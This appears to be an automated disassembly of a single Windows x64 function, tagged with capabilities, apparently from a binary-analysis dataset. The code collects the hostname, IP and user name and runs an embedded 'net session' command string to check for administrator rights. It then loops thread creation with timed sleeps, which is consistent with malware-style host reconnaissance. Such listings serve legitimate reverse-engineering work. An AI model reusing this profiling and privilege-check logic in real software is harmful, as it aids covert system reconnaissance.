Function at 0x1400026b0
Capabilities:
Create thread
Get hostname
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2d8]
sub rsp, 0x3b0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x290], rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xor r15d, r15d
mov qword [rbp - 0x70], recv
xorps xmm0, xmm0
mov qword [rbp - 0x78], r15
movups xmmword [rsp + 0x78], xmm0
mov ecx, 0x202
lea rdx, [rbp - 0x20]
movups xmmword [rbp - 0x68], xmm0
mov byte [rsp + 0x78], r15b
movups xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x68], r15b
mov byte [rbp - 0x40], r15b
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], recv
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], recv
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea rbx, [r15 - 1]
test eax, eax
jne 0x1400027a7
mov edx, 0xff
lea rcx, [rbp + 0x180]
call qword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x1400027a7
lea rcx, [rbp + 0x180]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x1400027a7
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rbx
inc r8
cmp byte [rax + r8], r15b
jne 0x140002791
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.140002050
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x101
lea rcx, [rbp + 0x180]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x1400027ec
lea rax, [rbp + 0x180]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], r15b
jne 0x1400027d0
mov r8, rbx
lea rdx, [rbp + 0x180]
lea rcx, [rbp - 0x68]
call fcn.140002050
lea rcx, str.net_session__nul_2_1___echo_notgoto_:eof_
call fcn.140002a50
test rax, rax
je 0x14000280c
cmp byte [rax], r15b
mov rcx, rax
sete byte [rbp - 0x48]
call fcn.140002e40
mov r8d, 7
lea rdx, str.Windows
lea rcx, [rbp - 0x40]
call fcn.140002050
movsd xmm6, qword [0x1400044f0]
movabs rsi, 0x311cdad160000
movabs r13, 0x7ffffffed5fa0dfe
movabs r12, 0x7fffffffffffffff
movabs r14, 0x112e0be826d694b3
nop dword [rax]
nop word [rax + rax]
mov ecx, 8
movabs rdi, 0x12a05f200
call fcn.140002e48
lea rcx, [rsp + 0x70]
mov r9, rax
lea r8, [0x140002a20]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140002a0b
cmp dword [rsp + 0x38], r15d
je 0x1400029ff
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rsp + 0x38], eax
je 0x1400029f3
movaps xmm0, xmmword [rsp + 0x30]
lea rcx, [rsp + 0x40]
xor edx, edx
movdqa xmmword [rsp + 0x40], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x1400029e7
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14000290f
imul rax, rax, 0x64
jmp 0x14000292d
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r13
jg 0x140002937
add rdi, rax
jmp 0x140002940
mov rdi, r12
nop word [rax + rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14000295e
imul rax, rax, 0x64
jmp 0x14000297c
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rdi, rax
je 0x140002860
jl 0x140002860
mov rbx, rdi
sub rbx, rax
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
xorps xmm0, xmm0
cvtsi2sd xmm0, rbx
imul rcx, rax, 0x64
comisd xmm0, xmm6
jbe 0x1400029ae
add rcx, rsi
jmp 0x1400029b1
add rcx, rbx
mov rax, r14
imul rcx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x3b9aca00
mov qword [rsp + 0x58], rdx
sub ecx, eax
mov dword [rsp + 0x60], ecx
lea rcx, [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll__Thrd_sleep]
jmp 0x140002940
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rsp + 0x38], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3